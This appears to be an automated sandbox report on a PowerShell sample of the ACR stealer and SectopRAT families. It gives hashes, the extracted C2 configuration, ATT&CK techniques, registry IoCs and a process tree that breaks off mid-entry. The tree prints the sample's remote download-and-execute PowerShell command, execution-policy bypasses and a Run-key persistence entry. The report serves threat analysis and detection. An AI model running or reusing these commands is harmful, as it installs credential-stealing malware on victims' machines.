acrstealer | 11fffcfe0c1c9d297405a1e6e6d7af579493fc6e140f4495a2d4f8bb6016fc43

Analysis

max time kernel
149s
max time network
138s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
19/09/2026, 08:13

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
dgfyrte-98.ps1
Size 93KB
Sample260919-j4rabsybme
SHA256 11fffcfe0c1c9d297405a1e6e6d7af579493fc6e140f4495a2d4f8bb6016fc43
MD5 6e70d7a23214a3dcea45e22cfc38ff05
SHA1 40b3bd8c655037da2de03de1e8b10c967f0e665e
SHA512 451915724812acb95f99c73e26e2a854898039351fd6aa0319e0a3a9aacbf9b598db4496d25667fa0a470217c0ccd482f39220ffa315f0fc4ee12e48a8b5122b
SSDEEP 1536:be1FJGsdpjk0oNuPtgtQCTpnF9Q90adz4zcpNpfO+GL1jfrwNdr9/qSw7ieYi:bkF8spjPyuP+JpF9Q9Pz4zWOL1jfUnlu
TLSH
T1589323053B8C95E010CDDDBE0FC06CA956AEE072D3DADC9C66CF5A84AB43AFA459C474
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution acrstealer sectoprat persistence rat spyware stealer trojan

Malware Config

Extracted

Family

acrstealer

Version

4.3.10-alpha1

updates.rootwave.cc

Decoy

cloudflare.com

Attributes

ddrs
https://telegra.ph/Built-in-Types-08-01
guids
019fd851-d0e2-7805-ae09-2dd1daa78960

f1575b64-8492-4e8b-b102-4d26e8c70371
user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36

xor.hex

Signatures

Family: ACR stealer,GrMsk
ACR stealer (aka GrMsk stealer) is an infostealer written in C++.
stealer acrstealer
Family: SectopRAT
SectopRAT is a remote access trojan first seen in November 2019.
trojan rat sectoprat

Eimeria case rule targeting the malicious zlibwapi.dll AES loader and recovered AutoIt RunPE loader 1 IoCs

Eimeria multi-stage loader chain with zlibwapi.dll AES loader and AutoIt RunPE process-hollowing evidence.

resource	yara_rule
behavioral2/files/0x000d00000001c7e4-4058.dat	Eimeria_MultiStage_Loader

SectopRAT payload 1 IoCs

resource	yara_rule
behavioral2/memory/4508-4773-0x0000000000400000-0x000000000046C000-memory.dmp	family_sectoprat

Suspicious use of NtCreateUserProcessOtherParentProcess 3 IoCs

description	pid	Process	procid_target
PID 4180 created 3912	4180	rundll32.exe	82
PID 4180 created 3912	4180	rundll32.exe	82
PID 4180 created 3912	4180	rundll32.exe	82

Badlisted process makes network request 9 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
3	2500	powershell.exe
4	2500	powershell.exe
5	4180	rundll32.exe
6	4180	rundll32.exe
152	4180	rundll32.exe
153	4180	rundll32.exe
154	4180	rundll32.exe
155	4180	rundll32.exe
156	1120	powershell.exe

Executes dropped EXE 4 IoCs

pid	Process
3592	AutoIt3.exe
6056	AutoIt3.exe
4508	RegAsm.exe
4688	RegAsm.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4057491610-3392471755-192832105-1000\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftEdgeAutoLaunch_11E9365CAE7D306ED3CD56E1B0DA0412 = "\"C:\\Users\\Admin\\AppData\\Roaming\\bfa79963dd84\\AutoIt3.exe\" \"C:\\Users\\Admin\\AppData\\Roaming\\bfa79963dd84\\Fabrics.a3x\""	powershell.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3060	PowerShell.exe
1120	powershell.exe
2500	powershell.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	raw.githubusercontent.com
4	raw.githubusercontent.com

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 6056 set thread context of 4508	6056	AutoIt3.exe	166
PID 3592 set thread context of 4688	3592	AutoIt3.exe	167

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dllhost.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5788	chrome.exe
5916	msedge.exe

Checks processor information in registry 2 TTPs 19 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\CurrentPatchLevel	firefox.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe

Modifies data under HKEY_USERS 10 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134342792469925973"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe

Modifies registry class 5 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	rundll32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-4057491610-3392471755-192832105-1000\{060A1F79-821E-4E98-A710-B2B230043BC7}	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{d3162b92-9365-467a-956b-92703aca08af}\Instance\	rundll32.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3060	PowerShell.exe
3060	PowerShell.exe
2500	powershell.exe
2500	powershell.exe
2500	powershell.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe

Suspicious behavior: MapViewOfSection 3 IoCs

pid	Process
4180	rundll32.exe
4180	rundll32.exe
4180	rundll32.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 17 IoCs

pid	Process
2688	chrome.exe
2688	chrome.exe
2688	chrome.exe
2688	chrome.exe
2688	chrome.exe
2688	chrome.exe
2688	chrome.exe
2688	chrome.exe
2688	chrome.exe
2688	chrome.exe
2688	chrome.exe
2688	chrome.exe
2688	chrome.exe
5068	msedge.exe
5068	msedge.exe
5068	msedge.exe
5068	msedge.exe

Suspicious use of AdjustPrivilegeToken 61 IoCs

description	pid	Process
Token: SeDebugPrivilege	3060	PowerShell.exe
Token: SeDebugPrivilege	2500	powershell.exe
Token: SeShutdownPrivilege	2688	chrome.exe
Token: SeCreatePagefilePrivilege	2688	chrome.exe
Token: SeShutdownPrivilege	2688	chrome.exe
Token: SeCreatePagefilePrivilege	2688	chrome.exe
Token: SeShutdownPrivilege	2688	chrome.exe
Token: SeCreatePagefilePrivilege	2688	chrome.exe
Token: SeShutdownPrivilege	2688	chrome.exe
Token: SeCreatePagefilePrivilege	2688	chrome.exe
Token: SeShutdownPrivilege	2688	chrome.exe
Token: SeCreatePagefilePrivilege	2688	chrome.exe
Token: SeShutdownPrivilege	2688	chrome.exe
Token: SeCreatePagefilePrivilege	2688	chrome.exe
Token: SeShutdownPrivilege	2688	chrome.exe
Token: SeCreatePagefilePrivilege	2688	chrome.exe
Token: SeShutdownPrivilege	2688	chrome.exe
Token: SeCreatePagefilePrivilege	2688	chrome.exe
Token: SeDebugPrivilege	1120	powershell.exe
Token: SeIncreaseQuotaPrivilege	1120	powershell.exe
Token: SeSecurityPrivilege	1120	powershell.exe
Token: SeTakeOwnershipPrivilege	1120	powershell.exe
Token: SeLoadDriverPrivilege	1120	powershell.exe
Token: SeSystemProfilePrivilege	1120	powershell.exe
Token: SeSystemtimePrivilege	1120	powershell.exe
Token: SeProfSingleProcessPrivilege	1120	powershell.exe
Token: SeIncBasePriorityPrivilege	1120	powershell.exe
Token: SeCreatePagefilePrivilege	1120	powershell.exe
Token: SeBackupPrivilege	1120	powershell.exe
Token: SeRestorePrivilege	1120	powershell.exe
Token: SeShutdownPrivilege	1120	powershell.exe
Token: SeDebugPrivilege	1120	powershell.exe
Token: SeSystemEnvironmentPrivilege	1120	powershell.exe
Token: SeRemoteShutdownPrivilege	1120	powershell.exe
Token: SeUndockPrivilege	1120	powershell.exe
Token: SeManageVolumePrivilege	1120	powershell.exe
Token: 33	1120	powershell.exe
Token: 34	1120	powershell.exe
Token: 35	1120	powershell.exe
Token: 36	1120	powershell.exe
Token: SeIncreaseQuotaPrivilege	1120	powershell.exe
Token: SeSecurityPrivilege	1120	powershell.exe
Token: SeTakeOwnershipPrivilege	1120	powershell.exe
Token: SeLoadDriverPrivilege	1120	powershell.exe
Token: SeSystemProfilePrivilege	1120	powershell.exe
Token: SeSystemtimePrivilege	1120	powershell.exe
Token: SeProfSingleProcessPrivilege	1120	powershell.exe
Token: SeIncBasePriorityPrivilege	1120	powershell.exe
Token: SeCreatePagefilePrivilege	1120	powershell.exe
Token: SeBackupPrivilege	1120	powershell.exe
Token: SeRestorePrivilege	1120	powershell.exe
Token: SeShutdownPrivilege	1120	powershell.exe
Token: SeDebugPrivilege	1120	powershell.exe
Token: SeSystemEnvironmentPrivilege	1120	powershell.exe
Token: SeRemoteShutdownPrivilege	1120	powershell.exe
Token: SeUndockPrivilege	1120	powershell.exe
Token: SeManageVolumePrivilege	1120	powershell.exe
Token: 33	1120	powershell.exe
Token: 34	1120	powershell.exe
Token: 35	1120	powershell.exe
Token: 36	1120	powershell.exe

Suspicious use of FindShellTrayWindow 42 IoCs

pid	Process
2688	chrome.exe
2688	chrome.exe
2688	chrome.exe
2688	chrome.exe
2688	chrome.exe
2688	chrome.exe
2688	chrome.exe
2688	chrome.exe
2688	chrome.exe
2688	chrome.exe
2688	chrome.exe
2688	chrome.exe
2688	chrome.exe
2688	chrome.exe
2688	chrome.exe
2688	chrome.exe
2688	chrome.exe
2688	chrome.exe
2688	chrome.exe
2688	chrome.exe
2688	chrome.exe
2688	chrome.exe
2688	chrome.exe
2688	chrome.exe
2688	chrome.exe
2688	chrome.exe
2688	chrome.exe
2688	chrome.exe
2688	chrome.exe
2688	chrome.exe
2688	chrome.exe
2688	chrome.exe
2688	chrome.exe
2688	chrome.exe
5068	msedge.exe
4940	firefox.exe
3592	AutoIt3.exe
3592	AutoIt3.exe
3592	AutoIt3.exe
6056	AutoIt3.exe
6056	AutoIt3.exe
6056	AutoIt3.exe

Suspicious use of SendNotifyMessage 6 IoCs

pid	Process
3592	AutoIt3.exe
3592	AutoIt3.exe
3592	AutoIt3.exe
6056	AutoIt3.exe
6056	AutoIt3.exe
6056	AutoIt3.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3060 wrote to memory of 3176	3060	PowerShell.exe	91
PID 3176 wrote to memory of 2916	3176	csc.exe	92
PID 3060 wrote to memory of 1632	3060	PowerShell.exe	93
PID 1632 wrote to memory of 1720	1632	csc.exe	94
PID 3060 wrote to memory of 2500	3060	PowerShell.exe	95
PID 2500 wrote to memory of 4180	2500	powershell.exe	97
PID 2500 wrote to memory of 4180	2500	powershell.exe	97
PID 4180 wrote to memory of 2688	4180	rundll32.exe	98
PID 2688 wrote to memory of 5964	2688	chrome.exe	99
PID 2688 wrote to memory of 2604	2688	chrome.exe	100
PID 2688 wrote to memory of 2604	2688	chrome.exe	100
PID 2688 wrote to memory of 5788	2688	chrome.exe	101
PID 2688 wrote to memory of 1084	2688	chrome.exe	103
PID 2688 wrote to memory of 1084	2688	chrome.exe	103
PID 2688 wrote to memory of 3284	2688	chrome.exe	104
PID 2688 wrote to memory of 2560	2688	chrome.exe	142
PID 2688 wrote to memory of 3284	2688	chrome.exe	104
PID 2688 wrote to memory of 2560	2688	chrome.exe	142
PID 2688 wrote to memory of 4328	2688	chrome.exe	106
PID 2688 wrote to memory of 4328	2688	chrome.exe	106
PID 2688 wrote to memory of 1380	2688	chrome.exe	107
PID 2688 wrote to memory of 1380	2688	chrome.exe	107
PID 2688 wrote to memory of 5380	2688	chrome.exe	108
PID 2688 wrote to memory of 3240	2688	chrome.exe	109
PID 2688 wrote to memory of 3240	2688	chrome.exe	109
PID 2688 wrote to memory of 6044	2688	chrome.exe	110
PID 2688 wrote to memory of 6044	2688	chrome.exe	110
PID 2688 wrote to memory of 2120	2688	chrome.exe	111
PID 2688 wrote to memory of 2120	2688	chrome.exe	111
PID 2688 wrote to memory of 4700	2688	chrome.exe	113
PID 2688 wrote to memory of 4700	2688	chrome.exe	113
PID 2688 wrote to memory of 5540	2688	chrome.exe	116
PID 2688 wrote to memory of 5388	2688	chrome.exe	117
PID 2688 wrote to memory of 5540	2688	chrome.exe	116
PID 2688 wrote to memory of 4312	2688	chrome.exe	118
PID 2688 wrote to memory of 5388	2688	chrome.exe	117
PID 2688 wrote to memory of 4312	2688	chrome.exe	118
PID 2688 wrote to memory of 1340	2688	chrome.exe	119
PID 2688 wrote to memory of 5596	2688	chrome.exe	120
PID 2688 wrote to memory of 1340	2688	chrome.exe	119
PID 2688 wrote to memory of 5596	2688	chrome.exe	120
PID 2688 wrote to memory of 4324	2688	chrome.exe	121
PID 2688 wrote to memory of 4324	2688	chrome.exe	121
PID 2688 wrote to memory of 1864	2688	chrome.exe	122
PID 2688 wrote to memory of 1864	2688	chrome.exe	122
PID 2688 wrote to memory of 4576	2688	chrome.exe	123
PID 2688 wrote to memory of 4576	2688	chrome.exe	123
PID 2688 wrote to memory of 4940	2688	chrome.exe	147
PID 2688 wrote to memory of 4940	2688	chrome.exe	147
PID 4180 wrote to memory of 5068	4180	rundll32.exe	125
PID 5068 wrote to memory of 2396	5068	msedge.exe	126
PID 5068 wrote to memory of 5084	5068	msedge.exe	128
PID 5068 wrote to memory of 5916	5068	msedge.exe	129
PID 5068 wrote to memory of 5084	5068	msedge.exe	128
PID 5068 wrote to memory of 5084	5068	msedge.exe	128
PID 5068 wrote to memory of 5128	5068	msedge.exe	130
PID 5068 wrote to memory of 5128	5068	msedge.exe	130
PID 5068 wrote to memory of 2188	5068	msedge.exe	132
PID 5068 wrote to memory of 1904	5068	msedge.exe	133
PID 5068 wrote to memory of 2188	5068	msedge.exe	132
PID 5068 wrote to memory of 2188	5068	msedge.exe	132
PID 5068 wrote to memory of 1904	5068	msedge.exe	133
PID 5068 wrote to memory of 1904	5068	msedge.exe	133
PID 5068 wrote to memory of 3660	5068	msedge.exe	134

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\explorer.exe
explorer.exe /LOADSAVEDWINDOWS
1⤵
PID:3912
- C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
  powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\dgfyrte-98.ps1
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3060
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dqguuijl\dqguuijl.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3176
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3CF0.tmp" "c:\Users\Admin\AppData\Local\Temp\dqguuijl\CSCF846D4FD81D9471C9ECFD62C2BB60B.TMP"
      4⤵
      PID:2916
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\misfh15j\misfh15j.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1632
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3E57.tmp" "c:\Users\Admin\AppData\Local\Temp\misfh15j\CSCA83DCF5FA7F24F92BEFB69293B5796F0.TMP"
      4⤵
      PID:1720
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NoProfile -Command [Net.ServicePointManager]::SecurityProtocol = [Net.ServicePointManager]::SecurityProtocol -bor [Net.SecurityProtocolType]::Tls12; irm https://rawcdn.githack.com/989A-A-3fF2465495760-2B3a/4657-8765943-85742-94856/refs/heads/main/57684-95867 | iex
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2500
  - - C:\Windows\SysWOW64\rundll32.exe
      "C:\Windows\SysWOW64\rundll32.exe"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Badlisted process makes network request
      System Location Discovery: System Language Discovery
      Modifies registry class
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of WriteProcessMemory
      PID:4180
    - - C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\5dq8czHF0KE5u1KN\5dq8czdswlEVIVsS.ps1"
        5⤵
        Badlisted process makes network request
        Adds Run key to start application
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:1120
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ozfiztla\ozfiztla.cmdline"
        6⤵
        
        PID:2244
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF7E3.tmp" "c:\Users\Admin\AppData\Local\Temp\ozfiztla\CSC71CB02DFBE8741F098FC8C1C16F7854F.TMP"
        7⤵
        
        PID:1668
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\3nqwpczq\3nqwpczq.cmdline"
        6⤵
        
        PID:4208
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF8CD.tmp" "c:\Users\Admin\AppData\Local\Temp\3nqwpczq\CSCD2A32EC198B84857BB7FD6D48331159C.TMP"
        7⤵
        
        PID:1608
    - - C:\Windows\SysWOW64\dllhost.exe
        
        "C:\Windows\SysWOW64\dllhost.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:476
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --no-default-browser-check
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:2688
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffa3e20c728,0x7ffa3e20c734,0x7ffa3e20c740
    3⤵
    PID:5964
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1608,i,3039611185801962235,15696276286185998053,262144 --field-trial-handle=1908,i,10403526261158467514,7874290407326141519,262144 --variations-seed-version --mojo-platform-channel-handle=1904 /prefetch:2
    3⤵
    PID:2604
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1468,i,8654565610099198548,9528379499253154458,524288 --field-trial-handle=1908,i,10403526261158467514,7874290407326141519,262144 --variations-seed-version --mojo-platform-channel-handle=2088 /prefetch:11
    3⤵
    - System Time Discovery
    PID:5788
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2300,i,2075613504066443425,9866858906230210166,524288 --field-trial-handle=1908,i,10403526261158467514,7874290407326141519,262144 --variations-seed-version --mojo-platform-channel-handle=2312 /prefetch:13
    3⤵
    PID:1084
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3124,i,5025371575787999549,6164228379365476434,2097152 --field-trial-handle=1908,i,10403526261158467514,7874290407326141519,262144 --variations-seed-version --mojo-platform-channel-handle=3132 /prefetch:1
    3⤵
    PID:3284
- - C:\Program Files\Google\Chrome\Application\chrome.exe
